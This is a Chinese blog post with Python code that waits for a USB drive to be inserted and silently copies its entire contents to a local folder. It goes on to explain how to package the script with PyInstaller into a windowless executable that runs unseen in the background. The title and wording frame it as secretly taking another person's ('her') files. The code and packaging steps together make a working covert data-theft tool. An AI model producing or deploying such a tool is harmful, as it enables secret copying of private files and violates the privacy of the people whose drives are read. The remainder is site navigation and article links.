仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python采集腾讯新闻实例
Jul 10 Python
python迭代器实例简析
Sep 25 Python
Python去除列表中重复元素的方法
Mar 20 Python
python tornado微信开发入门代码
Aug 24 Python
Python中flatten( )函数及函数用法详解
Nov 02 Python
Python 从一个文件中调用另一个文件的类方法
Jan 10 Python
Python读取stdin方法实例
May 24 Python
Python matplotlib绘制饼状图功能示例
Sep 10 Python
一文了解python 3 字符串格式化 F-string 用法
Mar 04 Python
Django def clean()函数对表单中的数据进行验证操作
Jul 09 Python
Jupyter notebook命令和编辑模式常用快捷键汇总
Nov 17 Python
k-means & DBSCAN 总结
Apr 27 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
PHP新手上路(五)
2006/10/09 PHP
php中curl和soap方式请求服务超时问题的解决
2018/06/11 PHP
用jquery来定位
2007/02/20 Javascript
js一组验证函数
2008/12/20 Javascript
javascript 操作文件 实现方法小结
2009/07/02 Javascript
精通Javascript系列之数值计算
2011/06/07 Javascript
基于jquery跨浏览器显示的file上传控件
2011/10/24 Javascript
javascript测试题练习代码
2012/10/10 Javascript
使用JS画图之点、线、面
2015/01/12 Javascript
NodeJS学习笔记之(Url,QueryString,Path)模块
2015/01/13 NodeJs
jQuery实现div随意拖动的实例代码(通用代码)
2016/01/28 Javascript
利用原生js和jQuery实现单选框的勾选和取消操作的方法
2016/09/04 Javascript
学习 NodeJS 第八天:Socket 通讯实例
2016/12/21 NodeJs
Node.js调试技术总结分享
2017/03/12 Javascript
详解Vue2.0 事件派发与接收
2017/09/05 Javascript
js中call()和apply()改变指针问题的讲解
2019/01/17 Javascript
详解React项目中碰到的IE问题
2019/03/14 Javascript
vue.config.js中配置Vue的路径别名的方法
2020/02/11 Javascript
[02:45]DOTA2英雄基础教程 伐木机
2013/12/23 DOTA
python根据经纬度计算距离示例
2014/02/16 Python
python 查找字符串是否存在实例详解
2017/01/20 Python
python实现m3u8格式转换为mp4视频格式
2018/02/28 Python
浅谈django三种缓存模式的使用及注意点
2018/09/30 Python
Python: 传递列表副本方式
2019/12/19 Python
使用python matploblib库绘制准确率,损失率折线图
2020/06/16 Python
CSS3实现同时执行倾斜和旋转的动画效果
2016/10/27 HTML / CSS
加拿大时装零售商:Influence U
2018/12/22 全球购物
六道php面试题附答案
2014/06/05 面试题
浅谈react路由传参的几种方式
2021/03/23 Javascript
环境工程大学生自荐信
2013/10/21 职场文书
社会调查研究计划书
2014/05/01 职场文书
劳动竞赛活动总结
2014/05/05 职场文书
2015年新学期寄语
2015/02/26 职场文书
2016五四青年节活动总结范文
2016/04/06 职场文书
2020优秀员工演讲稿(三篇)
2019/10/17 职场文书
《和时间赛跑》读后感3篇
2019/12/16 职场文书